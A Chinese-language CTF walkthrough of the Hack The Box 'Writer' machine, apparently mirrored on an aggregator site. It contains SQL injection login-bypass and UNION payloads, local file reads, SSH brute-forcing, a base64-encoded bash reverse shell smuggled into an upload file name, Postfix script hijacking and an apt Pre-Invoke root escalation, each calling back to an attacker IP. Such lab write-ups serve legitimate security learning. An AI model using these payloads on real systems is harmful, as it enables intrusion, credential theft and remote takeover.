【Hack The Box】linux练习-- Writer

news2024/11/27 6:36:55

HTB 学习笔记

【Hack The Box】linux练习-- Writer


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
        • 爆破目录
    • sql注入
    • 后台信息收集
    • 文件名命令注入
        • 制作恶意文件名文件
    • kyle -john
    • john->root
    • apt-get 提权

在这里插入图片描述

信息收集

22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

smaba枚举(Samba smbd 4.6.2)
80页面Writer.HTB

在这里插入图片描述
页面没有什么信息,几个按钮也同样没有什么有价值的东西,请求标头很平常

爆破目录

feroxbuster -u http://10.10.11.101 -x php 
302        4l       24w      208c http://10.10.11.101/logout
200      110l      347w     4905c http://10.10.11.101/contact
200       75l      320w     3522c http://10.10.11.101/about
301        9l       28w      313c http://10.10.11.101/static
301        9l       28w      318c http://10.10.11.101/static/blog
301        9l       28w      316c http://10.10.11.101/static/js
301        9l       28w      317c http://10.10.11.101/static/css
301        9l       28w      324c http://10.10.11.101/static/components
301        9l       28w      317c http://10.10.11.101/static/img
301        9l       28w      322c http://10.10.11.101/static/blog/css
301        9l       28w      321c http://10.10.11.101/static/blog/js
301        9l       28w      324c http://10.10.11.101/static/blog/fonts
301        9l       28w      318c http://10.10.11.101/static/font
302        4l       24w      208c http://10.10.11.101/dashboard
301        9l       28w      320c http://10.10.11.101/static/vendor
301        9l       28w      327c http://10.10.11.101/static/vendor/jquery
301        9l       28w      332c http://10.10.11.101/static/components/sidebar
301        9l       28w      331c http://10.10.11.101/static/components/navbar
403        9l       28w      277c http://10.10.11.101/server-status
200       35l       99w     1443c http://10.10.11.101/administrative
[####################] - 4m    899970/899970  0s      found:20      errors:940    
[####################] - 4m     59998/59998   215/s   http://10.10.11.101
[####################] - 3m     59998/59998   261/s   http://10.10.11.101/static
[####################] - 3m     59998/59998   261/s   http://10.10.11.101/static/blog
[####################] - 3m     59998/59998   261/s   http://10.10.11.101/static/js
[####################] - 3m     59998/59998   259/s   http://10.10.11.101/static/css
[####################] - 3m     59998/59998   260/s   http://10.10.11.101/static/components
[####################] - 3m     59998/59998   261/s   http://10.10.11.101/static/img
[####################] - 3m     59998/59998   259/s   http://10.10.11.101/static/blog/css
[####################] - 3m     59998/59998   259/s   http://10.10.11.101/static/blog/js
[####################] - 3m     59998/59998   257/s   http://10.10.11.101/static/blog/fonts
[####################] - 3m     59998/59998   258/s   http://10.10.11.101/static/font
[####################] - 3m     59998/59998   256/s   http://10.10.11.101/static/vendor
[####################] - 3m     59998/59998   254/s   http://10.10.11.101/static/vendor/jquery
[####################] - 3m     59998/59998   258/s   http://10.10.11.101/static/components/sidebar
[####################] - 3m     59998/59998   271/s   http://10.10.11.101/static/components/navbar

存在/logout,说明有一个登录页面
最后在/administrative找到了这个页面
在这里插入图片描述

sql注入

登陆框首先尝试弱口令,其次尝试sql注入

admin' or 1=1 limit 1;-- -

在这里插入图片描述limit 1如果代码只检查返回的一行,则这是必需的,这是最佳实践。 有时它可能只检查任何回报,或者可能只有一个账户(在现实生活中不太常见,但在 CTF 中并不少见)。
登陆进了

在这里插入图片描述
同样可以用工具模糊测试

ffuf -X POST -u http://10.10.11.101/administrative -d 'uname=FUZZ&password=0xdf' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" --fw 206
-X POST- POST 请求
-u http://10.10.11.101/administrative- 发送到的网址
-d 'uname=FUZZ&password=0xdf'- 要发送的数据 FUZZ被单词列表中的行替换
`-w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt` - 单词列表
-H "Content-Type: application/x-www-form-urlencoded"- 像在实际请求中一样设置标头

密码本都是 SecLists的密码

admin' or '             [Status: 200, Size: 1296, Words: 280, Lines: 33]
hi' or 'x'='x';         [Status: 200, Size: 1296, Words: 280, Lines: 33]
x' or 1=1 or 'x'='y     [Status: 200, Size: 1296, Words: 280, Lines: 33]
' or 1=1 or ''='        [Status: 200, Size: 1296, Words: 280, Lines: 33]
' or 0=0 #              [Status: 200, Size: 1296, Words: 280, Lines: 33]

这几种也是可以的

后台信息收集

在这里插入图片描述后台有很多的故事,我会看看,防止里面出现什么有价值的信息,同时他的用户名也是非常宝贵的,我将收集所有用户名

在这里插入图片描述
阅读所有的文章后发现没有新的内容

考虑到存在sql注入,我将利用sql获取一些信息,也许可以获得凭据

借助刚才登陆绕过的sql句式

在bp中如此操作
因为刚才是
admin’ or 1=1 limit 1;-- -
所以我们需要先来一个‘闭合,而后-- -注释

' UNION select 1;-- -

在这里插入图片描述一直添加到16,发现爆出了注入点是2

在这里插入图片描述那么就在2构造查询语句

uname=’ UNION select 1,database(),3,4,5,6;-- -&password=1

在这里插入图片描述
接住刚才爆出2的附近一个html语句充当定位
可以清楚的定位到sql注入结果

而后我们可以有多种选择,读取一些文件或者读取数据库

uname=' UNION select 1,load_file('/etc/passwd'),3,4,5,6;-- -&password=1

在这里插入图片描述john
kyle
有了用高糊我将在一旁开启ssh爆破,同时这边继续寻求更多突破

hydra -l kyle -P /usr/share/wordlists/rockyou.txt ssh://writer.htb -VV -f -t 60

继续尝试sql注入,因为爆破成功的可能性比较低
Apache 2.4.41
所以我们在网上找到了他的默认配置文件
在这里插入图片描述

uname=' UNION select 1,load_file('/etc/apache2/sites-available/000-default.conf'),3,4,5,6;-- -&password=1
Welcome # Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080
#<VirtualHost 127.0.0.1:8080>
#	ServerName dev.writer.htb
#	ServerAdmin admin@writer.htb
#
        # Collect static for the writer2_project/writer_web/templates
#	Alias /static /var/www/writer2_project/static
#	<Directory /var/www/writer2_project/static>
#		Require all granted
#	</Directory>
#
#	<Directory /var/www/writer2_project/writerv2>
#		<Files wsgi.py>
#			Require all granted
#		</Files>
#	</Directory>
#
#	WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#	WSGIProcessGroup writer2_project
#	WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
#        ErrorLog ${APACHE_LOG_DIR}/error.log
#        LogLevel warn
#        CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

指向“/var/www/writer.htb/”的目录
/var/www/writer.htb/writer/static
/var/www/writer.htb/writer.wsgi
/var/www/writer.htb/writer/static
这个wsgi是个啥呢,看看

那里描述了两个 Web 应用程序。 主网络应用程序托管于 /var/www/writer.htb, 和文件 writer.wsgi是专门叫出来的。

Welcome #!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

Import the init.py from the app folder
导入了一个模块
不是官方模块
我看看,没有加路径可能就是在当前目录
结果不是,是在writer目录

uname=' UNION select 1,load_file('/var/www/writer.htb/writer/__init__.py'),3,4,5,6;-- -&password=1

东西很多,选取有用的放在这
危险函数
在这里插入图片描述

文件名命令注入

首先,他存在危险函数调用,并且没有做清理
其次,我们调用的途径应该是文件名,因为他调用的就是文件名
所以我们要把命令注入文件名
然后直接在存在读取文件的地方,file读取文件,我们的命令就会被调用

所以我们上传一个具有恶意文件名字的文件,而后访问
在这里插入图片描述以及一个数据库的凭证

制作恶意文件名文件

echo -n 'bash -c "bash -i >& /dev/tcp/10.10.14.29/8888 0>&1"' | base64

touch 'd.jpg;`echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOS84ODg4IDA+JjEi|base64 -d|bash`;'

在这里添加
在这里插入图片描述
刚才我们可以知道图片会在这个目录

http://10.129.11.241/static/img/
在这里插入图片描述
而后我们抓包,在
在这里插入图片描述
这个地方如此调用

file:///var/www/writer.htb/writer/static/img/d.jpg;`echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOS84ODg4IDA+JjEi|base64 -d|bash`;#

得到shell
在这里插入图片描述
有了shell之后先去那个获得凭据的数据库看看
发现了hash但是爆破不开
在这里插入图片描述
去数据库的配置文件,试图获得别的数据库凭证
继续挖掘,在/etc/mysql/mariadb.cnf
发现了新的配置文件
在这里插入图片描述
在这里插入图片描述
并且最终获得了新的hash
而后爆破

hashcat -m 10000 kylehash /usr/share/wordlists/rockyou.txt
ssh kyle@10.10.11.101
marcoantonio

kyle -john

我们发现他是filter组的成员
这个组没见过

find / -group filter 2>/dev/null

找找这个组权限的有什么文件

有这么两个文件

/etc/postfix/disclaimer
/var/spool/filter

这 /var/spool/filter目录是空的,所以我会看看 /etc/postfix.
Postfix 是一个邮件服务器
HackTricks 页面有一个 关于 Postfix 的部分 。
/etc/postfix/master.cf
包含在电子邮件到达时在电子邮件上执行的脚本。

ifmail    unix  -       n       n       -       -       pipe
  flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
bsmtp     unix  -       n       n       -       -       pipe
  flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipient
scalemail-backend unix  -       n       n       -       2       pipe
  flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}
mailman   unix  -       n       n       -       -       pipe
  flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py
  ${nexthop} ${user}
dfilt     unix  -       n       n       -       -       pipe
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

关注最后一行:
flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} – ${recipient}
看起来是每一封邮件都会使用这样的脚本来发邮件,并且以john
并且调用argv=/etc/postfix/disclaimer,而这个又在我们的权限之内

所以我将在的/etc/postfix/disclaimer头部添加bash命令

bash -c 'bash -i >& /dev/tcp/10.10.14.29/5555 0>&1'

在这里插入图片描述

漏了一个/
补上
发送邮件,这样我们就可以拿到john的shell了

nc localhost 25
mail from: kyle@writer.htb
RCPT TO: root@writer.htb
DATA
subject: testmail
Hello root
.

但是没有收到

在这里插入图片描述果然,被清除了,所以我们加快速度,开两个ssh

在这里插入图片描述对了之前ssh爆破出来了,也就是说如果我们直接爆破可以不用坐前面很多动作
但是要很久,两个小时吧

在这里插入图片描述
在三方会谈之下我们凭借手速战胜了计划任务

在这里插入图片描述

john->root

我们去到
cd /home/john/.ssh/
拿下私钥
然后ssh登陆
发现
在这里插入图片描述

他属于management

find / -group management -ls 2>/dev/null

apt-get 提权

/etc/apt/apt.conf.d

在这里插入图片描述
这种情况一般会出现在服务器定期apt-get上,所以我们上传pspy来查看进程
果然得到了一个

/bin/sh -c /usr/bin/apt-get update

他会定期使用root的sh来执行apt-get update更新操作
第一种方法失败(来自gifio)

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

第二种
也是借用了gifio的写入文件原理

echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.29/8888 0>&1"' | base64 -w0

echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvODg4OCAwPiYxIgo= | base64 -d | bash"};' > 000-shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/42320.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《web课程设计》使用HTML+CSS制作大学生校园二手交易网站

🎉精彩专栏推荐 💭文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (10…

阿里P8现身说法,解密“架构”原理与实战笔记:从分布式到微服务

分布式架构与微服务平台是当今IT界的关键技术,也是资深软件工程师和系统架构师必须掌握的核心技术。 微服务、云原生、Kubernetes、Service Mesh是分布式领域的热点技术,它们并不是凭空出现的,一定继承了某些“前辈”的优点。我们不仅要了解…

十万部冷知识:足球踢进了观众席,观众能把球拿走吗?

在看足球比赛的时候,我们经常会看到球员一脚射门踢偏了,球被打飞的情况,这时候球可就奔着观众席去了。就是因为考虑到有这种情况的发生,在比赛之前,比赛组织者,都会提前准备很多的备用球,当球被…

R11.8-11.8-11.8-11.8-BABSL

R11.8-11.8-11.8-11.8-BABSL R11.8-11.8-11.8-11.8-BABSL哈威柱塞泵宁波秉圣,主要特点是高自吸转速,工作效率高,结构紧凑,工作压力高等。广泛用于压力机器具,测试和实验室设施,润滑装置等设备,在…

Home Assistant添加ESPHome设备(IO控制继电器)

文章目录1.在加载项商店中安装ESPHome2.添加设备2.1 编译并下载.bin到电脑2.2 下载固件到ESP82662.3 在Home Assistant添加并配置设备2.4 在设备与服务中配置3.再添加一个设备1.在加载项商店中安装ESPHome 点击配置-加载项 点击加载项商店 搜索ESPHome 2.添加设备 这里…

为什么我在公司里访问不了家里的电脑?

本文为掘金社区首发签约文章,14天内禁止转载,14天后未获授权禁止转载,侵权必究! 上篇文章「为什么我们家里的IP都是192.168开头的?」提到,因为IPv4地址有限,最大42亿个。为了更好的利用这有限的…

前端学习一、准备工作

一、电脑 首先想学习前端肯定是需要一台电脑,配置方面目前市面上3千左右的电脑就差不多了,如果有能力的话肯定是越高越好,如何挑选笔记本可自行搜索,我在这方面不专业就不讲了。 二、安装软件 谷歌浏览器 如果无法访问谷歌浏览…

你知道MySQL是如何解决幻读的吗?

前言 SQL标准中定义了4种隔离级别,分别是读未提交、读已提交、可重复读以及序列化。不同的隔离级别下,可以解决不同的并发问题,如下图所示。当然MySQL也基本遵循了这个标准,但是在实现上稍有不同。 本文重点探讨下MySQL是如何解…

MySQL线程池

概述 池化技术,包括线程池、连接池、内存池、对象池等。作用就是提前保存大量的资源,或将用过的资源保存起来,等下一次需要使用该资源时再取出来重复使用。 线程池:通过预先创建一定数量的线程,当有请求达到时&#…

黑苹果之技嘉(GIGABYTE)主板BIOS设置篇

很多童鞋安装黑苹果的时候会卡住,大部分原因是cfg lock 没有关闭,以及USB端口或SATA模式设置错误。 为了避免这些安装阶段报错的情况发生,今天给大家分享一下超详细的BIOS防踩坑设置指南--技嘉(GIGABYTE)主板BIOS篇&am…

OpenGL官方文档中的入门教程源代码:在3维空间中自由移动

OpenGL官方文档中的入门教程源代码:在3维空间中自由移动项目总览:一、开发前的准备工作1.将以上链接中的三个文件分别放到自己硬盘的一个文件夹中:例如D盘/OpenGL/...2.打开VS2022创建一个项目,右击窗体选择属性3.配置这3个文件的…

SQL Server全套教程(基于SQL语句----预览版)

SQL Server全套教程全程干货1. 数据库的基础操作1.1.0 创建数据库1.1.1 查看及修改数据库1.1.3 分离、附加和删除数据库1.1.4 数据库的备份和还原2.数据库表的相关操作2.1.0 常用数据类型2.1.1 表结构的创建2.1.2 表结构的查看及修改2.1.3 表约束的创建2.1.4 表约束的修改2.1.5…

2013款别克凯越危险警告灯不亮故障诊断方案设计

目 录 一、预约与准备工作 1 (一)工作描述 1 (二)预约 1 (三)准备工作 1 1、分析故障可能原因 1 2、工具、量具准备 1 3、辅料准备 2 二、接车、问诊与制单 2 (一)接车、问诊 2 &am…

mysql笔记

幻读 概念 一个事务中的两次同样的查询不一致。 解决幻读: RR:使用select ... for update加排他锁 for update的引入是为了幂等性问题,如果不加for update可能出现并发问题。 【参考:MySQL幻读详解及解决方法_学而不思则忘的博…

Word处理控件Aspose.Words功能演示:从 Java 中的 Word 文档中提取图像

图像通常用于表示 Word 文档中的重要信息。在文本旁边包含图像使内容更具吸引力。在某些情况下,您可能需要以编程方式提取嵌入在 Word 文档中的图像。为此,本文介绍了如何使用 Java 从 Word 文档中提取图像。 Aspose.Words for . java 最新下载&#xf…

著名歌唱家大衣哥太豪横了,参加商演被主办方请到五星级酒店就餐

自从农民歌唱家大衣哥,被前好友谷传民起诉后,他的人气不降反升,各种商演邀约也都不断。就在前几天,农民歌唱家大衣哥在商演结束后,被主办方邀请到五星级大酒店,享受了一顿丰盛的晚餐。 作为普通老百姓来说&…

【场景化解决方案】北极星深度集成钉钉PaaS,让OKR管理更加敏捷高效

方案简介 北极星OKR作为一款企业数字化目标管理软件,致力于为企业客户提供专业高效的数字化系统和一站式服务支持,助力企业管理转型升级。如今通过与钉钉的深度融合,在信息的反馈与交互和团队的协作上,营造了更加敏捷的场景&…

leetcode93. 复原 IP 地址

文章目录题目思考代码和注释总结题目 有效 IP 地址 正好由四个整数(每个整数位于 0 到 255 之间组成,且不能含有前导 0),整数之间用 ‘.’ 分隔。 例如:“0.1.2.201” 和 “192.168.1.1” 是 有效 IP 地址&#xff0…

Linux——Bash脚本基本用法总结

文章目录基本语法基于语法awk(分割命令返回值)sed(处理行内容)融合正则指令条件语句条件判断符1. if2. while额外方法在脚本中使用命令行指令并获取返回值延时打印当前时间基本语法 基于语法 awk(分割命令返回值&…

用友YonSuite“数智飞轮”用场景化告别产品与客户间的“翻译”

我们无疑是幸运的。淘宝、美团、掌上银行APP……这些诞生不过10年左右的移动互联网产物,用简单便捷的操作改变了我们千百年来衣食住行的方式。 相对而言,企业多少有点“不幸”。信息化建设虽然已经开展了20余年,但依然没享受到科技的便捷&am…